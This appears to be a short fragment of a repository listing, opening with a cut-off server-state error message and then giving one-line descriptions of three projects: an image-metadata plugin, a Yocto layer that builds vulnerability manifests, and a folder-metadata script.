incorrect state PREINITIALIZATION and forced into state SERVER_STOPPED. Errors may have been discarded.
clemsos
A metalsmith plugin that scan all images in subfolders and add it to metadata.
facebookincubator
OpenEmbedded meta-layer that allows producing a vulnerability manifest alongside a Yocto build. The produced manifest is suitable for ongoing vulnerability scanning of fielded software.
marcelovani
Python script that scans local folders and updates meta data and cover photos